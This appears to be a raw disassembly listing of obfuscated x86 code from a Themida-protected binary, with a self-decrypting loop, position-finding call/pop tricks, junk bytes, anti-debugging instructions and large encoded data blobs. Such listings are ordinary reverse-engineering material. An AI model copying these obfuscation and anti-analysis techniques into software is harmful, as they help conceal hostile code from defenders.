loc_5DDA49: ; CODE XREF: sub_5DDA10+28j
push ebx
push esi
push edi
loc_5DDA4C: ; CODE XREF: sub_5DDA10+91j
; sub_5DDA10+ADj ...
mov edi, [ebp+arg_4]
mov esi, [ebp+arg_8]
movzx ecx, dl
inc dl
mov al, [edi+ecx]
mov [esi+ecx], al
xor cl, cl
loc_5DDA5F: ; CODE XREF: sub_5DDA10+76j
movzx ebx, cl
push ebp
call $+5
pop ebp
sub ebp, 7E9B5DDh
lea ebp, [ebp+7E9B453h]
add ebp, ebx
cmp [ebp+0], al
pop ebp
jz loc_5DDA8C
inc cl
cmp cl, 0Bh
jb loc_5DDA5F
loc_5DDA8C: ; CODE XREF: sub_5DDA10+6Bj
cmp cl, 0Bh
jz loc_5DDAE9
cmp al, 66h
jnz loc_5DDACA
cmp [ebp+var_5], 0
jnz loc_5DDA4C
cmp [ebp+var_3], 0
mov [ebp+var_5], 1
jnz loc_5DDAC2
mov [ebp+var_4], 2
mov [ebp+var_3], 0FEh
jmp loc_5DDA4C
; ---------------------------------------------------------------------------
loc_5DDAC2: ; CODE XREF: sub_5DDA10+9Fj
and [ebp+var_3], 0
mov [ebp+var_4], 4
loc_5DDACA: ; CODE XREF: sub_5DDA10+87j
cmp al, 67h
jnz loc_5DDA4C
cmp [ebp+var_6], 0
jnz loc_5DDA4C
xor [ebp+var_2], 1
mov [ebp+var_6], 1
jmp loc_5DDA4C
; ---------------------------------------------------------------------------
loc_5DDAE9: ; CODE XREF: sub_5DDA10+7Fj
mov ebx, [ebp+arg_C]
mov cl, dl
dec cl
cmp al, 0Fh
mov [ebx], cl
jnz loc_5DDB15
movzx ecx, dl
inc dl
mov al, [edi+ecx]
movzx edi, al
shr edi, 1
mov [esi+ecx], al
add edi, 80h
jmp loc_5DDB1A
; ---------------------------------------------------------------------------
loc_5DDB15: ; CODE XREF: sub_5DDA10+E4j
movzx edi, al
shr edi, 1
loc_5DDB1A: ; CODE XREF: sub_5DDA10+100j
push ebp
call $+5
pop ebp
sub ebp, 7E9B695h
lea ebp, [ebp+7E9B353h]
add ebp, edi
mov bl, [ebp+0]
pop ebp
mov cl, al
and cl, 1
mov [ebp+var_7], cl
shl cl, 2
shr bl, cl
test bl, 8
mov [ebp+var_6], bl
jz loc_5DDC9C
mov ebx, [ebp+arg_4]
mov byte ptr [ebp+arg_0+3], 1
movzx ecx, dl
inc dl
mov bl, [ebx+ecx]
mov byte ptr [ebp+arg_C+3], dl
mov dl, bl
mov [esi+ecx], bl
and dl, 7
movzx ecx, bl
cmp dl, 4
setz [ebp+var_5]
shr ecx, 6
sub ecx, 0
jz loc_5DDBE0
dec ecx
jz loc_5DDBC3
dec ecx
jnz loc_5DDC33
cmp [ebp+var_2], 0
jnz loc_5DDC2F
cmp [ebp+var_5], 0
jz loc_5DDBA2
mov byte ptr [ebp+arg_0+3], 2
loc_5DDBA2: ; CODE XREF: sub_5DDA10+188j
add byte ptr [ebp+arg_0+3], 4
push ebp
call $+5
pop ebp
sub ebp, 7E9B721h
mov [ebp+arg_7E9B46B], 1
pop ebp
jmp loc_5DDC33
; ---------------------------------------------------------------------------
loc_5DDBC3: ; CODE XREF: sub_5DDA10+16Dj
cmp [ebp+var_2], 0
jnz loc_5DDC0D
cmp [ebp+var_5], 0
jz loc_5DDC0D
mov byte ptr [ebp+arg_0+3], 2
jmp loc_5DDC0D
; ---------------------------------------------------------------------------
loc_5DDBE0: ; CODE XREF: sub_5DDA10+166j
cmp [ebp+var_2], 0
jnz loc_5DDC26
cmp [ebp+var_5], 0
jz loc_5DDC15
movzx ecx, byte ptr [ebp+arg_C+3]
mov edx, [ebp+arg_4]
mov cl, [edx+ecx]
and cl, 7
cmp cl, 5
jnz loc_5DDC0D
mov byte ptr [ebp+arg_0+3], cl
loc_5DDC0D: ; CODE XREF: sub_5DDA10+1B7j
; sub_5DDA10+1C1j ...
inc byte ptr [ebp+arg_0+3]
jmp loc_5DDC33
; ---------------------------------------------------------------------------
loc_5DDC15: ; CODE XREF: sub_5DDA10+1DEj
cmp dl, 5
jnz loc_5DDC33
mov byte ptr [ebp+arg_0+3], dl
jmp loc_5DDC33
; ---------------------------------------------------------------------------
loc_5DDC26: ; CODE XREF: sub_5DDA10+1D4j
cmp dl, 6
jnz loc_5DDC33
loc_5DDC2F: ; CODE XREF: sub_5DDA10+17Ej
mov byte ptr [ebp+arg_0+3], 3
loc_5DDC33: ; CODE XREF: sub_5DDA10+174j
; sub_5DDA10+1AEj ...
dec byte ptr [ebp+arg_0+3]
jz loc_5DDC61
movzx ecx, byte ptr [ebp+arg_0+3]
mov [ebp+arg_0], ecx
loc_5DDC43: ; CODE XREF: sub_5DDA10+249j
movzx esi, byte ptr [ebp+arg_C+3]
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_8]
inc byte ptr [ebp+arg_C+3]
dec [ebp+arg_0]
mov cl, [ecx+esi]
mov [edx+esi], cl
jnz loc_5DDC43
mov esi, edx
loc_5DDC61: ; CODE XREF: sub_5DDA10+226j
and al, 0FEh
cmp al, 0F6h
jnz loc_5DDC96
cmp edi, 7Fh
ja loc_5DDC96
test bl, 38h
jnz loc_5DDC96
cmp [ebp+var_7], 0
jz loc_5DDC90
movzx eax, [ebp+var_4]
jmp loc_5DDC93
; ---------------------------------------------------------------------------
loc_5DDC90: ; CODE XREF: sub_5DDA10+271j
push 1
pop eax
loc_5DDC93: ; CODE XREF: sub_5DDA10+27Bj
mov [ebp+var_1], al
loc_5DDC96: ; CODE XREF: sub_5DDA10+255j
; sub_5DDA10+25Ej ...
mov dl, byte ptr [ebp+arg_C+3]
mov bl, [ebp+var_6] ; CODE XREF: Themida_:005DDD15j
loc_5DDC9C: ; CODE XREF: sub_5DDA10+136j
mov al, bl
and eax, 7
sub eax, 4
jz loc_5DDCC7
dec eax
dec eax
jz loc_5DDCBD
and bl, 7
add [ebp+var_1], bl
jmp loc_5DDCCF
; ---------------------------------------------------------------------------
loc_5DDCBD: ; CODE XREF: sub_5DDA10+29Cj
mov al, [ebp+var_3]
add al, 6
jmp loc_5DDCCC
; ---------------------------------------------------------------------------
loc_5DDCC7: ; CODE XREF: sub_5DDA10+294j
mov al, [ebp+var_3]
add al, 4
loc_5DDCCC: ; CODE XREF: sub_5DDA10+2B2j
add [ebp+var_1], al
loc_5DDCCF: ; CODE XREF: sub_5DDA10+2A8j
mov al, [ebp+var_1]
dec [ebp+var_1]
test al, al
jz loc_5DDCF7
movzx ecx, [ebp+var_1]
inc ecx
loc_5DDCE2: ; CODE XREF: sub_5DDA10+2E1j
mov edi, [ebp+arg_4]
movzx eax, dl
inc dl
dec ecx
mov bl, [edi+eax]
mov [esi+eax], bl
jnz loc_5DDCE2
loc_5DDCF7: ; CODE XREF: sub_5DDA10+2C7j
pop edi
pop esi
mov al, dl
pop ebx
leave
retn
sub_5DDA10 endp
; ---------------------------------------------------------------------------
loc_5DDCFE: ; CODE XREF: Themida_:loc_5DD9A6j
lea eax, [ebp+7E9B520h]
mov [ebp+7E4203Dh], eax ; CODE XREF: Themida_:005DDD54j
call near ptr loc_5DDD11+3
mov ch, 28h
loc_5DDD11: ; CODE XREF: Themida_:005DDD0Ap
rcr byte ptr cs:[edx], 80h
jecxz short near ptr loc_5DDC99+2 ; CODE XREF: Themida_:005DDD51j
pop eax
add eax, 6DEBh
pusha
jnp loc_5DDD2A
sub cx, 3318h
loc_5DDD2A: ; CODE XREF: Themida_:005DDD1Fj
mov cx, si
popa
push 0
sbb bl, 0B9h
pop esi
mov ch, 5Fh
loc_5DDD39: ; CODE XREF: Themida_:005DDDA5j
push dword ptr [esi+eax]
call near ptr loc_5DDD54+1
or [edx], edi
jnp short near ptr loc_5DDD6A+2
xchg bl, [ebx-26BAB884h]
mov cl, 0ADh
lodsb
inc ebx
int 3 ; Trap to Debugger
lodsb
lock jge short near ptr loc_5DDD15+1
loc_5DDD54: ; CODE XREF: Themida_:005DDD3Cp
jb short near ptr loc_5DDD04+4
mov cl, 5Ah
pop edi
movzx ecx, dx
xor edi, 541CD9F6h
mov bh, 41h
xor edi, 5BD56E35h
loc_5DDD6A: ; CODE XREF: Themida_:005DDD43j
jmp loc_5DDD80
; ---------------------------------------------------------------------------
db 0B4h
dd 9453EA9Dh, 0B5DF6F66h, 25AA1C3Dh, 0A415E232h
; ---------------------------------------------------------------------------
loc_5DDD80: ; CODE XREF: Themida_:loc_5DDD6Aj
sub edi, 3D1BF44Ch
mov ecx, 5197BD08h
push edi
mov cx, 5F88h
pop dword ptr [eax+esi]
and cl, 0Ah
sub cx, 8F6Ch
sub esi, 4
cmc
cmp esi, 0FFFF92B0h
jnz loc_5DDD39
movsx ecx, si
jmp loc_5DE019
; ---------------------------------------------------------------------------
pusha
mov cx, ds
test cl, 4
jz loc_5DDDF5
push 1
push dword ptr [ebp+7E4019Dh]
lea eax, [ebp+7E7B0A7h]
call eax
mov [ebp+7E40FA5h], eax
mov edi, esi
shr edi, 0Ch
push 20060000h
push 0
push 2
push edi
push 1000Dh
call dword ptr [ebp+7E40FA5h]
jmp loc_5DDE27
; ---------------------------------------------------------------------------
loc_5DDDF5: ; CODE XREF: Themida_:005DDDBAj
mov byte ptr [ebp+7E42C2Dh], 56h
push 0A9C530DFh
push dword ptr [ebp+7E42141h]
lea eax, [ebp+7E7B0A7h]
call eax
mov [ebp+7E40B5Dh], eax
lea eax, [ebp+7E41CE5h]
push eax
push 40h
push 5
push esi
call dword ptr [ebp+7E40B5Dh]
loc_5DDE27: ; CODE XREF: Themida_:005DDDF0j
popa
retn
; ---------------------------------------------------------------------------
align 4
dd 2 dup(0)
db 0
; ---------------------------------------------------------------------------
loc_5DDE35: ; DATA XREF: Themida_:005848E0o
push edx
mov edx, esp
pusha
mov eax, [edx+8]
mov [ebp+7E9B9A6h], eax
mov eax, [edx+0Ch]
mov [ebp+7E9B99Eh], eax
mov eax, [edx+10h]
mov [ebp+7E9B9A2h], eax
lea esi, [ebp+7E9B9DCh]
lea eax, [ebp+5B8EA1h]
call eax
popa
pop edx
retn 0Ch
; ---------------------------------------------------------------------------
mov esi, [ebp+7E9B9A6h]
mov eax, [ebp+7E9B99Eh]
cmp dword ptr [ebp+7E9B9A2h], 0
jz loc_5DDE87
mov [esi], eax
jmp locret_5DDE89
; ---------------------------------------------------------------------------
loc_5DDE87: ; CODE XREF: Themida_:005DDE7Aj
mov [esi], al
locret_5DDE89: ; CODE XREF: Themida_:005DDE82j
iret
; ---------------------------------------------------------------------------
align 4
dd 0
db 2 dup(0)
aRlLbIejSNSNebo db 'RΤ`B',8,'
¦Ήι',7,'΅-Ίι',7,'
‘[',0 ; DATA XREF: Themida_:0058488Co
; ---------------------------------------------------------------------------
call eax
popa
pop edx
mov eax, [ebp+7E9B9A6h]
retn 4
; ---------------------------------------------------------------------------
dd 0B9A6858Bh, 8B07E9h, 0B9A68589h, 0CF07E9h, 60000000h
dd 0BA03B589h, 858907E9h, 7E9B9FFh, 2E5858Dh, 408B07E4h
dd 3C858944h, 8D07E9BAh, 0E9BA72B5h, 0A1858D07h, 0FF005B8Eh
dd 858B61D0h, 7E9BA03h, 0FF9D8BC3h, 0F07E9B9h, 33C43B7h
dd 785B8BD8h, 0B9FF9D03h, 738B07E9h, 0FFB50324h, 5607E9B9h
dd 8B207B8Bh, 0BD031C73h, 7E9B9FFh, 0B9FFB503h, 83FC07E9h
dd 8B41FFC9h, 0E9BA039Dh, 3178B07h, 0E9B9FF95h, 4C78307h
dd 0C084028Ah, 0F840Fh, 33A0000h, 0FFDC850Fh, 4243FFFFh
dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh
dd 386048Bh, 0E9B9FF85h, 3858907h, 8B07E9BAh, 8BCE8BF0h
dd 3CBD81C1h, 7E9BAh, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h
dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 7E9BA3Ch
dd 6070C83h, 8B07148Bh, 3C8124C2h, 0FC18B81h, 5784h, 3CBD8100h
dd 7E9BAh, 0FC03000h, 0D85h, 0AE8C100h, 3FFFFC25h, 8E900h
dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h
dd 80h, 1E840Fh, 0BD810000h, 7E9BA3Ch, 0C0300000h, 0E840Fh
dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h
db 0CFh
; ---------------------------------------------------------------------------
loc_5DE019: ; CODE XREF: Themida_:005DDDAEj
lea eax, [ebp+7E9B9AAh]
mov [ebp+7E42455h], eax
lea eax, [ebp+7E9BA40h]
mov [ebp+7E40A89h], eax
lea eax, [ebp+7E9BA07h]
mov [ebp+7E42401h], eax
jmp loc_5DE17E
; ---------------------------------------------------------------------------
align 4
dd 4Eh dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5DE17E: ; CODE XREF: Themida_:005DE03Dj
cmp dword ptr [ebp+7E40101h], 1
jz loc_5DE5E9
jg loc_5DE1A3
js loc_5DE1A3
jmp loc_5DE1A3
; ---------------------------------------------------------------------------
xchg eax, esp
imul dword ptr [ecx-6386C2C0h]
loc_5DE1A3: ; CODE XREF: Themida_:005DE18Bj
; Themida_:005DE191j ...
mov byte ptr [ebp+7E42C2Dh], 43h
push 0
push edx
call sub_5DE1B5
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DE1B5 proc near ; CODE XREF: Themida_:005DE1ADp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_5DE1B5 endp
; ---------------------------------------------------------------------------
db 0B5h, 0B8h, 66h
dd 0AF83E58Bh, 850FFE6Ah, 1Dh, 12E860h, 0F5150000h, 4B2F21E3h
dd 8137E2B4h, 0B194851h, 1ECEDD81h, 0C7BF0F5Bh, 0CB66061h
dd 9E8h, 9F9A8800h, 0AF3DE51h, 5E82AFFh, 67000000h, 6AC05EAAh
dd 68615958h, 880DFD76h, 0E8605250h, 7, 367380EEh, 5B944ADEh
dd 60310F61h, 5CABE66h, 81585A61h, 2D832434h, 6A64A8h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 0E98D8CC3h, 0Ah, 0DD951A37h, 7DCE7Ah, 0B5FF66D9h, 7E42141h
dd 0CE9h, 0EEFA9400h, 6E60BFC8h, 819096E0h, 0A7858DF4h
dd 6A07E7B0h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 4F92C356h, 5D4E1BC6h, 0F8D0FFF8h
dd 9558589h, 0C6F907E4h, 0E42C2D85h, 53605007h, 0BE8h
dd 4E6F6F00h, 64C14829h, 6047B113h, 0D1815E5Eh, 1661D5E2h
dd 0BAF56861h, 52505CB9h, 0E8DAB260h, 8, 5A44D694h, 393F35FBh
dd 310F615Bh, 7E9h, 0AF52F400h, 0E99D6D63h, 481585Ah, 0F3F26124h
dd 18F0F4Bh, 0F9000000h, 2141B5FFh, 840F07E4h, 16h, 11E9h
dd 1830D400h, 8213DFDDh, 4D264B51h, 82B6FEF6h, 858DEAD6h
dd 7E7B0A7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 17h, 0D7C35747h, 0FFDB3812h, 8589FCD0h, 7E41E79h, 9E9h
dd 4E929C00h, 4786AB76h, 576841FFh, 0E9EDA8A7h, 14h, 0AD58DF9Ch
dd 181CEB4Dh, 0AEF3A229h, 354CAC48h, 583351DAh, 0D8240481h
dd 0F02E700h, 18Ah, 0B5FFF900h, 7E42141h, 6E860h, 9C0E0000h
dd 17E9ADDCh, 5B32E180h, 1870F61h, 0FC000000h, 0B0A7858Dh
dd 0FFFC07E7h, 0AE9D0h, 0AD150000h, 0AA49B4C8h, 877672E0h
dd 13BD8589h, 0C6F907E4h, 0E42C2D85h, 68F55007h, 9EDEBAAEh
dd 5E515660h, 3481615Bh, 4266F824h, 108D0F09h, 0E9000000h
dd 0Bh, 147601A4h, 0FFA17A9h, 0FF55B386h, 0E4019DB5h, 0F576007h
dd 80h, 80605F00h, 6161E6F5h, 3BDC858Dh, 6A07E4h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 0BF33BEC3h, 0E83FDE65h, 11E9h, 9DE65400h, 1CADE154h
dd 174CA6FAh, 0D39DDF87h, 0D0FFBF86h, 33D28160h, 0E91D98FDh
dd 8, 0C884030Bh, 0FDD03165h, 0B9858961h, 6007E418h, 6135B6F9h
dd 174E9h, 88A0F00h, 60000000h, 0B966E8B4h, 50618190h
dd 13E9h, 8CBE2500h, 53100136h, 74ACD05Ah, 0CA232565h
dd 0C5545175h, 0F8242C89h, 6AEC8Bh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 170424h, 55450000h, 4D8363C3h
dd 0F880F71h, 0E9000000h, 0Ah, 2459909Eh, 4C4B8793h, 83F8C18Ah
dd 6AFCC4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 0E4B3E7C3h, 15088E67h, 8A0F20B2h, 0Ah, 81DA8A60h
dd 6D262FD1h, 0F606102h, 183h, 0E8F900h, 5A000000h, 0C090EA81h
dd 45C707E9h, 0FCh, 1BA8300h, 107E401h, 98840Fh, 6A520000h
dd 0FF0F6A00h, 0E4095592h, 82895A07h, 7E9BBB7h, 0BBBB9A8Dh
dd 0C75207E9h, 12803h, 0FF505300h, 0E41E7992h, 8D525A07h
dd 0E9BBBB9Ah, 0B2FF5307h, 7E9BBB7h, 18B992FFh, 0B5A07E4h
dd 8D5074C0h, 0E9BBBB9Ah, 247B8D07h, 0F981C933h, 104h
dd 8141D474h, 452E393Ch, 0EE754558h, 2B39348Dh, 0BA8D0C75h
dd 7E427BDh, 0F30C4D8Bh, 0AAC032A4h, 875FF52h, 27BD828Dh
dd 0FF5007E4h, 0E413BD92h, 0C00B5A07h, 45C7A075h, 1FCh
dd 0C707EB00h, 0FC45h, 8B610000h, 0C2C9FC45h, 8B0F0008h
dd 1, 7E9F5h, 1D660000h, 0B8E4F603h
; ---------------------------------------------------------------------------
lahf
loc_5DE5E9: ; CODE XREF: Themida_:005DE185j
mov edx, edx
call near ptr loc_5DE5F0+5
loc_5DE5F0: ; CODE XREF: Themida_:005DE5EBp
xor cl, [edi-7F53F781h]
fild qword ptr [ecx+5Eh]
mov di, si
add esi, 710Ch
mov bx, dx
mov edx, 1C19h
mov edi, eax
; START OF FUNCTION CHUNK FOR sub_5DE66B
loc_5DE60C: ; CODE XREF: sub_5DE66B:loc_5DE68Dj
push dword ptr [esi]
pop eax
mov ecx, 38C1FC0Fh
sub eax, 765F9D4Bh
mov ecx, edx
sub eax, 1BE8DEE4h
call sub_5DE62F
test [esi], esi
enter 2097h, 0EFh
cmpsb
outsd
; END OF FUNCTION CHUNK FOR sub_5DE66B
; =============== S U B R O U T I N E =======================================
sub_5DE62F proc near ; CODE XREF: sub_5DE66B-49p
mov ebx, 2589D7E5h
pop ebx
xor eax, 74FDABFh
xor edi, 607154A4h
push eax
pop dword ptr [esi]
push ecx
jnb loc_5DE64E
sub bl, 46h
loc_5DE64E: ; CODE XREF: sub_5DE62F+16j
pop ebx
sub esi, 4
sub edx, 1
jnz loc_5DE684
call sub_5DE66B
icebp
fsubr dword ptr [esi]
mov al, 4
cmc
cmp al, 36h
sub_5DE62F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5DE66B proc near ; CODE XREF: sub_5DE62F+2Fp
; FUNCTION CHUNK AT 005DE60C SIZE 00000023 BYTES
mov ecx, 20074368h
pop ebx
jmp loc_5DE69C
; ---------------------------------------------------------------------------
dw 8378h
db 90h
; ---------------------------------------------------------------------------
mov ah, 91h
scasb
pop esi
cld
jmp short sub_5DE6AD
; ---------------------------------------------------------------------------
dd 7726A59Ch
; ---------------------------------------------------------------------------
loc_5DE684: ; CODE XREF: sub_5DE62F+29j
jge loc_5DE68D
xor bh, 20h
loc_5DE68D: ; CODE XREF: sub_5DE66B:loc_5DE684j
jmp loc_5DE60C
; ---------------------------------------------------------------------------
dw 0ECBEh
dd 0D7D1544Dh, 2A16AE8h
; ---------------------------------------------------------------------------
loc_5DE69C: ; CODE XREF: sub_5DE66B+6j
lea ecx, [ebp+7E9C2E3h]
push 0
push ecx
call sub_5DE6AD
and [ecx-3Dh], bl
sub_5DE66B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5DE6AD proc near ; CODE XREF: sub_5DE66B+13j
; sub_5DE66B+3Ap
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_5DE6AD endp
; ---------------------------------------------------------------------------
db 0E9h, 1Eh, 2Eh
; ---------------------------------------------------------------------------
mov ebx, 76B178BEh
jmp loc_5DE6D1
; ---------------------------------------------------------------------------
dw 0FA1Bh
dd 9AFB914Bh
db 0
; ---------------------------------------------------------------------------
loc_5DE6D1: ; CODE XREF: Themida_:005DE6C5j
mov [ebp+7E41B71h], ecx
push 0
push ebp
call sub_5DE6E2
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DE6E2 proc near ; CODE XREF: Themida_:005DE6DAp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_5DE6E2 endp
; ---------------------------------------------------------------------------
dw 2764h
dd 85C7BF69h, 7E42DA1h, 5954h, 8E9h, 201EA300h, 1EB8FD6Ch
dd 0B985C7AFh, 7E422h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0B87C357h
dd 23699D09h, 0B5FF07E4h, 7E42BF1h, 95FFC18Bh, 7E43061h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 4CC35646h
dd 6AA9DC78h, 4195FF00h, 8B07E40Eh, 591AEBC0h, 85F4CBE0h
dd 3BFFA1B1h, 5A4984E2h, 2B3858Eh, 272884E3h, 56EC796Dh
dd 898D8D5Dh, 6007E9C3h, 718D8961h, 307E41Bh, 0E4020DBDh
dd 0A185C707h, 0E407E42Dh, 6A00005Eh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 66E7C357h
dd 0A68F781h, 22B985C7h, 7E4h, 0B5FF0000h, 7E41D49h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F5C35242h, 0D67D9C65h
dd 330AD733h, 0E423FD9Dh, 6195FF07h, 8B07E430h, 0FF006AF1h
dd 0E40E4195h, 0EBC08B07h, 530E1E7Fh, 0C8C5B238h, 0AFB719DCh
dd 64BE4DFEh, 71145E16h, 68B84739h, 0D0A33DF2h, 0B5A850FFh
dd 63E8D690h, 0E283C274h, 0E3680FFCh, 0B196F32Ah, 0F8267C6Ch
dd 1F3CAC58h, 7088DAF2h, 7CF1FF37h, 6B157375h, 0E6822636h
dd 6AD008E3h, 8D954A39h, 0F30996FBh, 0F300173Fh, 423FB884h
dd 0A3F7BEDEh, 6A4A8C12h, 0C4A8898Bh, 465B27F6h, 0FEF7B3E8h
dd 26678CC5h, 27D266A1h, 708F7DB7h, 10D8F314h, 1F3613DCh
dd 2B12BF6Eh, 0F25063BCh, 6447123h, 7A383543h, 0FCE97078h
dd 81AA8597h, 33D48550h, 0D144F1E0h, 1D4005E8h, 13FC884Eh
dd 3CE83202h, 33E918F6h, 61E95FB9h, 33E93634h, 0F0B3156Eh
dd 17BDBC6Dh, 17ADB49Fh, 33E920C9h, 0F0BB77E6h, 0E4682057h
dd 799AFE96h, 33EA0B35h, 0FA68536Eh, 8E6AA296h, 340D3BB6h
dd 226D3ACDh, 3CE935E6h, 33E931F7h, 0D15353B9h, 30F4DC88h
dd 0E562356Eh, 0F7C4B0BAh, 3C893272h, 33E9374Ch, 0B88855E6h
dd 55795489h, 55B9C232h, 0A3CDBA62h, 0F7E6B0E3h, 338332DEh
dd 33EADDCDh, 6DC935CDh, 47606B25h, 77683157h, 33F2319Dh
dd 65AF35DCh, 0A75E7DADh, 24F17F3Dh, 0CC5E3AB8h, 33EBB5C2h
dd 0F96335E6h, 87B68C23h, 37604B94h, 0F75C8BF8h, 0A616205Ah
dd 340D22EAh, 0DBBC35F1h, 33E935CEh, 6E2A68C6h, 37CD59FAh
dd 37CD7138h, 33E935C4h, 0B62A602Bh, 4108667Ah, 33E6DCCBh
dd 316535CDh, 0D2A7A290h, 0A50ED014h, 0D5A919E4h, 8D8F6C6Dh
dd 0F3625634h, 33E939DEh, 0A0CA499Bh, 1BE91359h, 89708255h
dd 0C254B6AAh, 33EED1AAh, 8E6A3CA9h, 340D3C5Bh, 63F04137h
dd 8B29BEC8h, 33E931B7h, 2790B06Fh, 0AE643297h, 340FDC49h
dd 6BB2E623h, 3ADC88EDh, 47E932D3h, 8BBA658Ch, 33E931B7h
dd 2790B06Fh, 0AE643297h, 340FD366h, 6BB2E623h, 8EAF7BD1h
dd 0FB625349h, 3383F510h, 33EADD9Ah, 6CC935E6h, 4F606AB0h
dd 7768319Dh, 33FC31F8h, 64AE356Eh, 0B3D516F4h, 0BE11CF5Eh
dd 0DA2D2250h, 0BE3ABEE1h, 0DA4DBCF6h, 0E316CCBEh, 0DBBA35B6h
dd 33E9356Dh, 682A6E17h, 37CD6912h, 37CD714Ch, 33E935FFh
dd 682A6630h, 81DC811Dh, 3C293E5Ch, 33E948EAh, 33EFDC37h
dd 0C681359Bh, 0C1451375h, 7C0EA86Bh, 63BB3297h, 6A63FC39h
dd 33EA8D85h, 3383356Eh, 33EADD67h, 6BC9359Bh, 77606D0Eh
dd 776831C2h, 33F23157h, 63A935B9h, 7B35FC1Fh, 0C7490154h
dd 31613A2Fh, 0B8E9359Bh, 8A8F553Eh, 0B88FBC38h, 0D0165480h
dd 0DBBF35D3h, 33E935DFh, 6D2A6B4Eh, 37CD41BEh, 37CD711Ah
dd 33E935DBh, 372A63A0h, 0B5E6415Ch, 33E935BFh, 8EEDA5Dh
dd 0AE6461BBh, 3400F128h, 6E00B5C9h, 0BA6CB893h, 0CCEEDC42h
dd 3C293EA3h, 33E9AA3Dh, 63E95FDCh, 33E93686h, 0F0B11537h
dd 17ADBCC3h, 17ADB4C9h, 33E92FE2h, 0F0B97573h, 0F30FD4C6h
dd 3CB4917Eh, 33E938E7h, 33ECDD37h, 0D31C359Bh, 53DB041Ah
dd 0AE646F87h, 340D7A94h, 33E93A51h, 2C6D5DDCh, 0AD1B2E24h
dd 6B2DAF80h, 0E0E1B9C3h, 33E93C24h, 0FE0269E6h, 49EF97E9h
dd 8BB60D60h, 33E935DDh, 0DBBF3504h, 33E93534h, 6D2A6BBBh
dd 37CD4144h, 37CD7167h, 33E93567h, 252A63FFh, 3383D623h
dd 33EADD3Bh, 6EC93537h, 5F606858h, 776831E9h, 33FF31C2h
dd 66AC3573h, 0B7E4627Ah, 0F7CDA851h, 33833287h, 33EADD60h
dd 6CC9359Bh, 4F606A0Eh, 776831C2h, 33FE3157h, 64AE35B9h
dd 0B2BA61Fh, 0C4626285h, 0BA6CB868h, 59EEDC3Fh, 300166CDh
dd 13E935E6h, 0BAB2F628h, 0B2ED11E5h, 2BED1198h, 70E9356Eh
dd 6021F664h, 0CBBAD369h, 3CB9E532h, 33E9366Bh, 0F8563A73h
dd 0B88F55E3h, 0D268530Fh, 3888BCCDh, 276D3AF7h, 0BEE9359Bh
dd 0D7A6D250h, 2C5053E1h, 33EA8D69h, 0D01635B9h, 702682D3h
dd 8222BE08h, 3E54B874h, 0BEEEDC5Fh, 0DA2EFF40h, 6F948DE1h
dd 0B6DABF38h, 340D17ACh, 0DA28FAF7h, 0F128AE64h, 0B5C93400h
dd 0B8936E00h, 0DC42BA6Ch, 3EA3CCEEh, 0AA3D3C29h, 5E983E9h
dd 0C08BA4F3h, 8BF9EF8Ah, 34BE66C3h, 8BC08B95h, 0F1BD83FEh
dd 7E413h, 0BD830975h, 7E40935h, 50197400h, 0B8C08B53h
dd 47Ah, 0EED8589h, 9D8D07E4h, 7E6EA57h, 585BD3FFh, 935BD83h
dd 740007E4h, 0B8535017h, 47Ah, 0EED8589h, 9D8D07E4h, 7E6E6F8h
dd 585BD3FFh, 0CE9h, 27C86600h, 0FFAA1ECDh, 0EC7C928Ah
dd 55006A6Bh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h
dd 0C3554500h, 0F8795140h, 897E0B5h, 0FE952h, 0FCBB0000h
dd 9223ED56h, 423B1F7Bh, 0E9C2EA82h, 0F605A1Eh, 0BA66DEBFh
dd 8B61ACB6h, 848D8DC0h, 6A07E9C9h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0FF7C357h
dd 68Ah, 8C0F00h, 1000000h, 0E41B199Dh, 718D8907h, 6A07E41Bh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h
dd 47000000h, 89DDC357h, 0E430BD9Dh, 59BD8907h, 6607E42Ch
dd 85C7F98Bh, 7E42DA1h, 71CCh, 1860Fh, 8BF90000h, 0B985C7D8h
dd 7E422h, 53000000h, 0D818D31h, 0FF5807E4h, 0E406A5B5h
dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h
dd 0C3554500h, 98A30569h, 503C4F08h, 8D89196Fh, 7E40881h
dd 306195FFh, 6A07E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 160424h, 55450000h, 2A5011C3h, 941858Bh, 0F98B07E4h
dd 95FF006Ah
db 41h, 0Eh, 0E4h
; ---------------------------------------------------------------------------
